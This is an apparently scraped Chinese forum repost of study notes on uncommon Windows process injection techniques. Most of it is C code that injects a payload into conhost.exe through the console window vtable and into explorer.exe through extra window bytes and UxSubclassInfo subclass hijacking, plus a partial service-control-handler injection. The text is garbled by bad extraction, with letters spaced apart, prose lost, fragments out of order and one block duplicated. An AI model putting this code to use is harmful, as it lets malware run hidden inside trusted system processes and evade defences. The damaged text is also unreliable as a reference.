[1868] 2020-11-18_Windows不太常见的进程注入学习小记(一)

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-16
2020-11-18_Windows不太常见的进程注入学习小记(一) W i n d o w s   D a y 1   2 0 2 0 - 1 1 - 1 8 H O O K   C o n h o s t . e x e C o n s o l e W i n d o w C l a s s C o n h o s t . e x e 8 4   C o n H o s t C o n h o s t . e x e H O O K C o n h o s t : C o n s o l e W i n d o w C l a s s t y p e d e f   s t r u c t   _ v f t a b l e _ t   {         U L O N G _ P T R           E n a b l e B o t h S c r o l l B a r s ;         U L O N G _ P T R           U p d a t e S c r o l l B a r ;         U L O N G _ P T R           I s I n F u l l s c r e e n ;
  :         U L O N G _ P T R           S e t I s F u l l s c r e e n ;         U L O N G _ P T R           S e t V i e w p o r t O r i g i n ;         U L O N G _ P T R           S e t W i n d o w H a s M o v e d ;         U L O N G _ P T R           C a p t u r e M o u s e ;         U L O N G _ P T R           R e l e a s e M o u s e ;         U L O N G _ P T R           G e t W i n d o w H a n d l e ;         U L O N G _ P T R           S e t O w n e r ;         U L O N G _ P T R           G e t C u r s o r P o s i t i o n ;         U L O N G _ P T R           G e t C l i e n t R e c t a n g l e ;         U L O N G _ P T R           M a p P o i n t s ;         U L O N G _ P T R           C o n v e r t S c r e e n T o C l i e n t ;         U L O N G _ P T R           S e n d N o t i f y B e e p ;         U L O N G _ P T R           P o s t U p d a t e S c r o l l B a r s ;         U L O N G _ P T R           P o s t U p d a t e T i t l e W i t h C o p y ;         U L O N G _ P T R           P o s t U p d a t e W i n d o w S i z e ;         U L O N G _ P T R           U p d a t e W i n d o w S i z e ;         U L O N G _ P T R           U p d a t e W i n d o w T e x t ;         U L O N G _ P T R           H o r i z o n t a l S c r o l l ;         U L O N G _ P T R           V e r t i c a l S c r o l l ;         U L O N G _ P T R           S i g n a l U i a ;         U L O N G _ P T R           U i a S e t T e x t A r e a F o c u s ;         U L O N G _ P T R           G e t W i n d o w R e c t ; }   C o n s o l e W i n d o w ; G e t W i n d o w L o n g P t r ( h w n d ,   G W L P _ U S E R D A T A ) ; R e a d P r o c e s s M e m o r y W r i t e P r o c e s s M e m o r y V i r t u a l A l l o c E x V O I D   c o n h o s t I n j e c t ( L P V O I D   p a y l o a d ,   D W O R D   p a y l o a d S i z e )   {         H W N D                     h w n d ;         L O N G _ P T R             u d p t r ;         D W O R D                   p i d ,   p p i d ;         S I Z E _ T                 w r ;         H A N D L E                 h p ;         C o n s o l e W i n d o w   c w ;         L P V O I D                 c s ,   d s ;         U L O N G _ P T R           v T a b l e ;           / /   1 .   C o n s o l e W i n d o w C l a s s         h w n d   =   F i n d W i n d o w ( L " C o n s o l e W i n d o w C l a s s " ,   N U L L ) ;         / / P I D         G e t W i n d o w T h r e a d P r o c e s s I d ( h w n d ,   & p p i d ) ;           / /   2 .   C o n h o s t p i d         p i d   =   c o n h o s t I d ( p p i d ) ;           i f   ( p i d = = 0 )   {
H O O K   S h e l l _ T r a y W n d e x p l o r e r . e x e             p r i n t f ( " p a r e n t   i d   i s   % l d n u n a b l e   t o   o b t a i n   p i d   o f   c o n h o s t . e x e n " ,   p p i d ) ;             r e t u r n ;         }         / /   3 . c o n h o s t         h p   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   p i d ) ;           / /   4 .   c o n h o s t p a y l o a d         c s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   p a y l o a d S i z e ,             M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         W r i t e P r o c e s s M e m o r y ( h p ,   c s ,   p a y l o a d ,   p a y l o a d S i z e ,   & w r ) ;           / /   5 .   C o n s o l e W i n d o w C l a s s         u d p t r   =   G e t W i n d o w L o n g P t r ( h w n d ,   G W L P _ U S E R D A T A ) ;         R e a d P r o c e s s M e m o r y ( h p ,   ( L P V O I D ) u d p t r ,                 ( L P V O I D ) & v T a b l e ,   s i z e o f ( U L O N G _ P T R ) ,   & w r ) ;           / /   6 .           R e a d P r o c e s s M e m o r y ( h p ,   ( L P V O I D ) v T a b l e ,             ( L P V O I D ) & c w ,   s i z e o f ( C o n s o l e W i n d o w ) ,   & w r ) ;           / /   7 .   c o n h o s t         d s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   s i z e o f ( C o n s o l e W i n d o w ) ,             M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ R E A D W R I T E ) ;         / /   8 .   G e t W i n d o w H a n d l e p a y l o a d         c w . G e t W i n d o w H a n d l e   =   ( U L O N G _ P T R ) c s ;         W r i t e P r o c e s s M e m o r y ( h p ,   d s ,   & c w ,   s i z e o f ( C o n s o l e W i n d o w ) ,   & w r ) ;           / /   9 .   h o o k         W r i t e P r o c e s s M e m o r y ( h p ,   ( L P V O I D ) u d p t r ,   & d s ,             s i z e o f ( U L O N G _ P T R ) ,   & w r ) ;           / /   1 0 .           S e n d M e s s a g e ( h w n d ,   W M _ S E T F O C U S ,   0 ,   0 ) ;           / /   1 1 .           W r i t e P r o c e s s M e m o r y ( h p ,   ( L P V O I D ) u d p t r ,   & v T a b l e ,             s i z e o f ( U L O N G _ P T R ) ,   & w r ) ;           / /   1 2 .           V i r t u a l F r e e E x ( h p ,   c s ,   0 ,   M E M _ D E C O M M I T   |   M E M _ R E L E A S E ) ;         V i r t u a l F r e e E x ( h p ,   d s ,   0 ,   M E M _ D E C O M M I T   |   M E M _ R E L E A S E ) ;           C l o s e H a n d l e ( h p ) ; }

t y p e d e f   s t r u c t   _ c t r a y _ v t a b l e   {         U L O N G _ P T R   v T a b l e ;         / /   c h a n g e   t o   r e m o t e   m e m o r y   a d d r e s s         U L O N G _ P T R   A d d R e f ;         / /   a d d   r e f e r e n c e         U L O N G _ P T R   R e l e a s e ;       / /   r e l e a s e   p r o c e d u r e         U L O N G _ P T R   W n d P r o c ;       / /   w i n d o w   p r o c e d u r e   ( c h a n g e   t o   p a y l o a d ) }   C T r a y ;   t y p e d e f   s t r u c t   _ c t r a y _ o b j   {         C T r a y   * v t b l ; }   C T r a y O b j ; V O I D   e x t r a B y t e s ( L P V O I D   p a y l o a d ,   D W O R D   p a y l o a d S i z e ) {         L P V O I D         c s ,   d s ;         C T r a y           c t ;         U L O N G _ P T R   c t p ;         H W N D             h w ;         H A N D L E         h p ;         D W O R D           p i d ;         S I Z E _ T         w r ;           h w   =   F i n d W i n d o w ( L " S h e l l _ T r a y W n d " ,   N U L L ) ;           G e t W i n d o w T h r e a d P r o c e s s I d ( h w ,   & p i d ) ;           h p   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   p i d ) ;
P R O P a g a t e c o m c t l 3 2 . d l l 使 S e t W i n d o w S u b c l a s s S e t P r o p   A P I         h p   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   p i d ) ;           c t p   =   G e t W i n d o w L o n g P t r ( h w ,   0 ) ;           R e a d P r o c e s s M e m o r y ( h p ,   ( L P V O I D ) c t p ,                 ( L P V O I D ) & c t . v T a b l e ,   s i z e o f ( U L O N G _ P T R ) ,   & w r ) ;           R e a d P r o c e s s M e m o r y ( h p ,   ( L P V O I D ) c t . v T a b l e ,             ( L P V O I D ) & c t . A d d R e f ,   s i z e o f ( U L O N G _ P T R )   *   3 ,   & w r ) ;           c s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   p a y l o a d S i z e ,             M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;           W r i t e P r o c e s s M e m o r y ( h p ,   c s ,   p a y l o a d ,   p a y l o a d S i z e ,   & w r ) ;           d s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   s i z e o f ( c t ) ,             M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ R E A D W R I T E ) ;           c t . v T a b l e     =   ( U L O N G _ P T R ) d s   +   s i z e o f ( U L O N G _ P T R ) ;         c t . W n d P r o c   =   ( U L O N G _ P T R ) c s ;           W r i t e P r o c e s s M e m o r y ( h p ,   d s ,   & c t ,   s i z e o f ( c t ) ,   & w r ) ;           S e t W i n d o w L o n g P t r ( h w ,   0 ,   ( U L O N G _ P T R ) d s ) ;             P o s t M e s s a g e ( h w ,   W M _ C L O S E ,   0 ,   0 ) ;             S e t W i n d o w L o n g P t r ( h w ,   0 ,   c t p ) ;             V i r t u a l F r e e E x ( h p ,   c s ,   0 ,   M E M _ D E C O M M I T   |   M E M _ R E L E A S E ) ;         V i r t u a l F r e e E x ( h p ,   d s ,   0 ,   M E M _ D E C O M M I T   |   M E M _ R E L E A S E ) ;           C l o s e H a n d l e ( h p ) ; } U x S u b c l a s s I n f o C C 3 2 S u b c l a s s I n f o 6 . x U x S u b c l a s s I n f o 5 . x C C 3 2 S u b c l a s s I n f o U x S u b c l a s s I n f o C C 3 2 S u b c l a s s I n f o
G e t P r o p A P I P S U x S u b c l a s s I n f o + 0 x 1 8   3 2 0 x 1 8   H O O K   W i n 7 W I n 1 0 w i n 1 0 使 P r o g m a n S H E L L D L L _ D e f V i e w t y p e d e f   s t r u c t   _ S U B C L A S S _ C A L L   {     S U B C L A S S P R O C   p f n S u b c l a s s ;         / /   s u b c l a s s   p r o c e d u r e     W P A R A M               u I d S u b c l a s s ;         / /   u n i q u e   s u b c l a s s   i d e n t i f i e r     D W O R D _ P T R         d w R e f D a t a ;             / /   o p t i o n a l   r e f   d a t a }   S U B C L A S S _ C A L L ,   P S U B C L A S S _ C A L L ;   t y p e d e f   s t r u c t   _ S U B C L A S S _ F R A M E   {     U I N T                                         u C a l l I n d e x ;       / /   i n d e x   o f   n e x t   c a l l b a c k   t o   c a l l     U I N T                                         u D e e p e s t C a l l ;   / /   d e e p e s t   u C a l l I n d e x   o n   s t a c k     s t r u c t   _ S U B C L A S S _ F R A M E     * p F r a m e P r e v ;     / /   p r e v i o u s   s u b c l a s s   f r a m e   p o i n t e r     s t r u c t   _ S U B C L A S S _ H E A D E R   * p H e a d e r ;           / /   h e a d e r   a s s o c i a t e d   w i t h   t h i s   f r a m e }   S U B C L A S S _ F R A M E ,   P S U B C L A S S _ F R A M E ;   t y p e d e f   s t r u c t   _ S U B C L A S S _ H E A D E R   {     U I N T                       u R e f s ;                 / /   s u b c l a s s   c o u n t     U I N T                       u A l l o c ;               / /   a l l o c a t e d   s u b c l a s s   c a l l   n o d e s     U I N T                       u C l e a n u p ;           / /   i n d e x   o f   c a l l   n o d e   t o   c l e a n   u p     D W O R D                     d w T h r e a d I d ;       / /   t h r e a d   i d   o f   w i n d o w   w e   a r e   h o o k i n g     S U B C L A S S _ F R A M E   * p F r a m e C u r ;       / /   c u r r e n t   s u b c l a s s   f r a m e   p o i n t e r     S U B C L A S S _ C A L L     C a l l A r r a y [ 1 ] ;   / /   b a s e   o f   p a c k e d   c a l l   n o d e   a r r a y }   S U B C L A S S _ H E A D E R ,   * P S U B C L A S S _ H E A D E R ;
V O I D   p r o p a g a t e ( L P V O I D   p a y l o a d ,   D W O R D   p a y l o a d S i z e )   {         H A N D L E                     h p ,   p ;         D W O R D                       i d ;         H W N D                         p w h ,   c w h ;         S U B C L A S S _ H E A D E R   s h ;         L P V O I D                     p s h ,   p f n S u b c l a s s ;         S I Z E _ T                     r d , w r ;           / /   1 .   O b t a i n   t h e   p a r e n t   w i n d o w   h a n d l e         p w h   =   F i n d W i n d o w ( L " P r o g m a n " ,   N U L L ) ;           / /   2 .   O b t a i n   t h e   c h i l d   w i n d o w   h a n d l e         c w h   =   F i n d W i n d o w E x ( p w h ,   N U L L ,   L " S H E L L D L L _ D e f V i e w " ,   N U L L ) ;           / /   3 .   O b t a i n   t h e   h a n d l e   o f   s u b c l a s s   h e a d e r         p   =   G e t P r o p ( c w h ,   L " U x S u b c l a s s I n f o " ) ;           / /   G e t P r o c e s s H a n d l e F r o m H w n d         / /   4 .   O b t a i n   t h e   p r o c e s s   i d   f o r   t h e   e x p l o r e r . e x e         G e t W i n d o w T h r e a d P r o c e s s I d ( c w h ,   & i d ) ;           / /   5 .   O p e n   e x p l o r e r . e x e         h p   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   i d ) ;           / /   6 .   R e a d   t h e   c o n t e n t s   o f   c u r r e n t   s u b c l a s s   h e a d e r         R e a d P r o c e s s M e m o r y ( h p ,   ( L P V O I D ) p ,   & s h ,   s i z e o f ( s h ) ,   & r d ) ;           / /   7 .   A l l o c a t e   R W   m e m o r y   f o r   a   n e w   s u b c l a s s   h e a d e r
H O O K I D E W i n d o w s M i c r o s o f t I D E P S S C M   W i n   7 I D E         / /   7 .   A l l o c a t e   R W   m e m o r y   f o r   a   n e w   s u b c l a s s   h e a d e r         p s h   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   s i z e o f ( s h ) ,                 M E M _ R E S E R V E   |   M E M _ C O M M I T ,   P A G E _ R E A D W R I T E ) ;           / /   8 .   A l l o c a t e   R W X   m e m o r y   f o r   t h e   p a y l o a d         p f n S u b c l a s s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   p a y l o a d S i z e ,                 M E M _ R E S E R V E   |   M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;           / /   9 .   W r i t e   t h e   p a y l o a d   t o   m e m o r y         W r i t e P r o c e s s M e m o r y ( h p ,   p f n S u b c l a s s ,                 p a y l o a d ,   p a y l o a d S i z e ,   & w r ) ;           / /   1 0 .   S e t   t h e   p f n S u b c l a s s   f i e l d   t o   p a y l o a d   a d d r e s s ,   a n d   w r i t e         / /         b a c k   t o   p r o c e s s   i n   n e w   a r e a   o f   m e m o r y         s h . C a l l A r r a y [ 0 ] . p f n S u b c l a s s   =   ( S U B C L A S S P R O C ) p f n S u b c l a s s ;         W r i t e P r o c e s s M e m o r y ( h p ,   p s h ,   & s h ,   s i z e o f ( s h ) ,   & w r ) ;           / /   1 1 .   u p d a t e   t h e   s u b c l a s s   p r o c e d u r e   w i t h   S e t P r o p         S e t P r o p ( c w h ,   L " U x S u b c l a s s I n f o " ,   p s h ) ;           / /   1 2 .   T r i g g e r   t h e   p a y l o a d   v i a   a   w i n d o w s   m e s s a g e         P o s t M e s s a g e ( c w h ,   W M _ C L O S E ,   0 ,   0 ) ;           / /   1 3 .   R e s t o r e   o r i g i n a l   s u b c l a s s   h e a d e r         S e t P r o p ( c w h ,   L " U x S u b c l a s s I n f o " ,   p ) ;           / /   1 4 .   f r e e   m e m o r y   a n d   c l o s e   h a n d l e s         V i r t u a l F r e e E x ( h p ,   p s h ,   0 ,   M E M _ D E C O M M I T   |   M E M _ R E L E A S E ) ;         V i r t u a l F r e e E x ( h p ,   p f n S u b c l a s s ,   0 ,   M E M _ D E C O M M I T   |   M E M _ R E L E A S E ) ;           C l o s e H a n d l e ( h p ) ; } t y p e d e f   s t r u c t   _ I N T E R N A L _ D I S P A T C H _ E N T R Y   {         L P W S T R                                     S e r v i c e N a m e ;         L P W S T R                                     S e r v i c e R e a l N a m e ;         L P S E R V I C E _ M A I N _ F U N C T I O N   S e r v i c e S t a r t R o u t i n e ;         L P H A N D L E R _ F U N C T I O N _ E X       C o n t r o l H a n d l e r ;         H A N D L E                                     S t a t u s H a n d l e ;         D W O R D                                       S e r v i c e F l a g s ;         D W O R D                                       T a g ;         H A N D L E                                     M a i n T h r e a d H a n d l e ;         D W O R D                                       d w R e s e r v e d ;
W i n 1 0 I D E H O O K   I D E C o n t r o l H a n d l e r   I D E S e r v i c e R e a l N a m e I D E I D E S e r v i c e F l a g s S E R V I C E _ C O N T R O L _ I N T E R R O G A T E H O O K   I D E C o n t r o l H a n d l e r S C M S E R V I C E _ C O N T R O L _ I N T E R R O G A T E H O O K   }   I N T E R N A L _ D I S P A T C H _ E N T R Y ,   * P I N T E R N A L _ D I S P A T C H _ E N T R Y ; t y p e d e f   s t r u c t   _ I N T E R N A L _ D I S P A T C H _ E N T R Y   {         L P W S T R                                     S e r v i c e N a m e ;         L P W S T R                                     S e r v i c e R e a l N a m e ;         L P W S T R                                     S e r v i c e N a m e 2 ;               / /   W i n d o w s   1 0         L P S E R V I C E _ M A I N _ F U N C T I O N   S e r v i c e S t a r t R o u t i n e ;         L P H A N D L E R _ F U N C T I O N _ E X       C o n t r o l H a n d l e r ;         H A N D L E                                     S t a t u s H a n d l e ;         D W O R D 6 4                                   S e r v i c e F l a g s ;                 / /   6 4 - b i t   o n   w i n d o w s   1 0         D W O R D 6 4                                   T a g ;         H A N D L E                                     M a i n T h r e a d H a n d l e ;         D W O R D 6 4                                   d w R e s e r v e d ;         D W O R D 6 4                                   d w R e s e r v e d 2 ; }   I N T E R N A L _ D I S P A T C H _ E N T R Y ,   * P I N T E R N A L _ D I S P A T C H _ E N T R Y ; V O I D   S v c C t r l I n j e c t ( P S E R V I C E _ E N T R Y   s e ,   L P V O I D   p a y l o a d ,   D W O R D   p a y l o a d S i z e )   {         S I Z E _ T                                     w r ;         S C _ H A N D L E                               h m ,   h s ;         I N T E R N A L _ D I S P A T C H _ E N T R Y   i d e ;         H A N D L E                                     h p ;         L P V O I D                                     c s ;         S E R V I C E _ S T A T U S                     s s ;           w p r i n t f ( L " [ * ]   A t t e m p t i n g   t o   i n j e c t   P I C   i n t o   " % s " . . . n " ,   s e - > p r o c e s s ) ;           / /   o p e n   t h e   s e r v i c e   c o n t r o l   m a n a g e r         h m   =   O p e n S C M a n a g e r ( N U L L ,   N U L L ,   S C _ M A N A G E R _ C O N N E C T ) ;         i f   ( h m   ! =   N U L L )   {             / /   o p e n   t a r g e t   s e r v i c e             h s   =   O p e n S e r v i c e ( h m ,   s e - > s e r v i c e ,   S E R V I C E _ I N T E R R O G A T E ) ;             i f   ( h s   ! =   N U L L )   {                 / /   o p e n   t a r g e t   p r o c e s s                 h p   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   s e - > p i d ) ;                 i f   ( h p   ! =   N U L L )   {                     / /   a l l o c a t e   m e m o r y   f o r   p a y l o a d                     c s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   p a y l o a d S i z e ,                         M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;                     i f   ( c s )   {                         / /   w r i t e   p a y l o a d   t o   p r o c e s s   s p a c e                         W r i t e P r o c e s s M e m o r y ( h p ,   c s ,   p a y l o a d ,   p a y l o a d S i z e ,   & w r ) ;                         / /   c r e a t e   b a c k u p   o f   I D E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则